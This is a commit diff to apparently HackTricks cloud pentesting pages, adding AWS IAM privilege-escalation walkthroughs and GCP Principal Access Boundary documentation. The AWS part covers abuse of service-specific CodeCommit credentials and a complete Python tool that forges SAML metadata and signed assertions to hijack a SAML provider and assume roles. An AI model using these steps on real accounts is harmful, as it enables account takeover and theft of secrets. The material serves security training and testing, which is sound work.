This commit is contained in:
Carlos Polop
2026-02-14 17:54:48 +01:00
parent 967a945aa3
commit 1829b6f80d
3 changed files with 413 additions and 14 deletions

View File

@@ -104,21 +104,51 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
Enables generating or resetting credentials for specific AWS services (most commonly **CodeCommit**). These are **not** AWS API keys: they are **username/password** credentials for a specific service, and you can only use them where that service accepts them.
**Exploit for Creation:**
**Creation:**
```bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
```
**Exploit for Reset:**
Save:
- `ServiceSpecificCredential.ServiceUserName`
- `ServiceSpecificCredential.ServicePassword`
**Example:**
```bash
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
```
> Note: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
At this point you can read whatever the target user can access in CodeCommit (e.g., a leaked credentials file). If you retrieve **AWS access keys** from the repo, configure a new AWS CLI profile with those keys and then access resources (for example, read a flag from Secrets Manager):
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
```
**Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
```
**Impact:** Direct privilege escalation within the user's service permissions.
**Impact:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
@@ -273,8 +303,264 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: A Tool capable of generating the SAML metadata and login with a specified role
**End-to-end attack (like HackTricks Training IAM Lab 7):**
1. Enumerate the SAML provider and a role that trusts it:
```bash
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
```
2. Forge IdP metadata + a signed SAML assertion for the role/provider pair:
```bash
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
```
<details>
<summary>Expandable: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import base64
import datetime as dt
import json
import os
import subprocess
import tempfile
import uuid
from lxml import etree
from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str:
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
key_path = os.path.join(tmpdir, "key.pem")
cert_path = os.path.join(tmpdir, "cert.pem")
_run(
[
"openssl",
"req",
"-x509",
"-newkey",
"rsa:2048",
"-keyout",
key_path,
"-out",
cert_path,
"-days",
"3650",
"-nodes",
"-subj",
"/CN=attacker-idp",
]
)
return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str:
lines: list[str] = []
for line in cert_pem.splitlines():
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
continue
line = line.strip()
if line:
lines.append(line)
return "".join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f"""<?xml version="1.0"?>
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<KeyDescriptor use="signing">
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<X509Data>
<X509Certificate>{cert_b64}</X509Certificate>
</X509Data>
</KeyInfo>
</KeyDescriptor>
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
</IDPSSODescriptor>
</EntityDescriptor>
"""
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
ns = {
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
}
issue_instant = dt.datetime.now(dt.timezone.utc)
not_before = issue_instant - dt.timedelta(minutes=2)
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = "_" + str(uuid.uuid4())
assertion_id = "_" + str(uuid.uuid4())
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
response.set("ID", resp_id)
response.set("Version", "2.0")
response.set("IssueInstant", issue_instant.isoformat())
response.set("Destination", "https://signin.aws.amazon.com/saml")
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
issuer.text = "https://attacker.invalid/idp"
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
assertion.set("ID", assertion_id)
assertion.set("Version", "2.0")
assertion.set("IssueInstant", issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
a_issuer.text = "https://attacker.invalid/idp"
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
name_id.text = "attacker"
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
conditions.set("NotBefore", not_before.isoformat())
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
audience.text = "https://signin.aws.amazon.com/saml"
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
attr_role_value.text = f"{role_arn},{principal_arn}"
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
attr_session_value.text = "saml-session"
key_bytes = open(key_pem, "rb").read()
cert_bytes = open(cert_pem, "rb").read()
signer = XMLSigner(
method=methods.enveloped,
signature_algorithm="rsa-sha256",
digest_algorithm="sha256",
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
)
signed_assertion = signer.sign(
assertion,
key=key_bytes,
cert=cert_bytes,
reference_uri=f"#{assertion_id}",
id_attribute="ID",
)
response.remove(assertion)
response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--role-arn", required=True)
ap.add_argument("--principal-arn", required=True)
args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp:
key_path, cert_path = _openssl_make_key_and_cert(tmp)
cert_pem = open(cert_path, "r", encoding="utf-8").read()
cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64)
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
if __name__ == "__main__":
main()
```
</details>
3. Update the SAML provider metadata to your IdP certificate, assume the role, and use the returned STS credentials:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
```
4. Cleanup: restore previous metadata:
```bash
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
```
> [!WARNING]
> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
@@ -329,5 +615,3 @@ aws iam put-role-permissions-boundary \
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -68,7 +68,7 @@ An example of a trust policy with this permission is:
To generate credentials to impersonate the role in general you could use something like:
```bash
aws sts assume-role-with-saml --role-arn <value> --principal-arn <value>
aws sts assume-role-with-saml --role-arn <role_arn> --principal-arn <provider_arn> --saml-assertion <base64_saml_response>
```
But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
@@ -152,4 +152,3 @@ For this attack to be possible, both the trust anchor and the `default` profile
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -116,6 +116,125 @@ Or check if a **custom role can use a** [**specific permission in here**](https:
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
## Principal Access Boundary (PAB) Policies
In GCP, the closest equivalent to an **AWS IAM Permissions Boundary** is a **Principal Access Boundary (PAB) policy**.
A **PAB policy** is an IAM control that **limits the resources that a set of principals are eligible to access**. It **doesn't grant access by itself**; it acts as an additional boundary that can only further restrict what principals can do, even if IAM role bindings would otherwise allow it.
PAB policies are created at the **organization** level and then **enforced by creating policy bindings** (policy bindings bind a policy to a *principal set*).
Useful docs:
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies>
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-create>
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-view>
- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-remove>
### Create / Assign (Apply) a PAB
Create the PAB policy in the organization:
```bash
gcloud iam principal-access-boundary-policies create PAB_POLICY_ID \
--organization=ORG_ID \
--location=global \
--display-name="My PAB policy" \
--details-rules=pab-rules.json \
--details-enforcement-version=latest
```
Example `pab-rules.json`:
```json
[
{
"description": "Only eligible to access these resources",
"resources": [
"//cloudresourcemanager.googleapis.com/projects/ALLOWED_PROJECT_ID"
],
"effect": "ALLOW"
}
]
```
Apply it by creating a policy binding (this is what actually enforces the policy for the principal set):
```bash
gcloud iam policy-bindings create BINDING_ID \
--project=PROJECT_ID \
--location=global \
--policy="organizations/ORG_ID/locations/global/principalAccessBoundaryPolicies/PAB_POLICY_ID" \
--target-principal-set='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID'
```
Notes:
- The binding parent can also be a folder or organization (use `--folder=FOLDER_ID` or `--organization=ORG_ID` instead of `--project=PROJECT_ID`).
- `--target-principal-set` supports multiple formats (projects/folders/orgs, workforce/workload identity pools, workspace identity, etc.).
- Enforcement versions accepted values are `1`, `2`, `3`, and `latest`.
### Enumerate
List PAB policies in an org:
```bash
gcloud iam principal-access-boundary-policies list \
--organization=ORG_ID \
--location=global
```
Describe a specific PAB policy:
```bash
gcloud iam principal-access-boundary-policies describe PAB_POLICY_ID \
--organization=ORG_ID \
--location=global
```
List policy bindings under a project/folder/org (these bindings are what enforce PABs):
```bash
gcloud iam policy-bindings list \
--project=PROJECT_ID \
--location=global
```
Search policy bindings by target principal set (what PABs apply to this target?):
```bash
gcloud iam policy-bindings search-target-policy-bindings \
--project=PROJECT_ID \
--location=global \
--target='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID'
```
List policy bindings that reference a specific PAB policy:
```bash
gcloud iam principal-access-boundary-policies search-policy-bindings PAB_POLICY_ID \
--organization=ORG_ID \
--location=global
```
### Remove
Remove a PAB from a principal set (delete the policy binding):
```bash
gcloud iam policy-bindings delete BINDING_ID \
--project=PROJECT_ID \
--location=global
```
Delete the PAB policy itself (optionally `--force` if there are still bindings referencing it):
```bash
gcloud iam principal-access-boundary-policies delete PAB_POLICY_ID \
--organization=ORG_ID \
--location=global
```
## Users <a href="#default-credentials" id="default-credentials"></a>
In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace.
@@ -228,6 +347,3 @@ As defined by terraform in [https://registry.terraform.io/providers/hashicorp/go
- [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
{{#include ../../../banners/hacktricks-training.md}}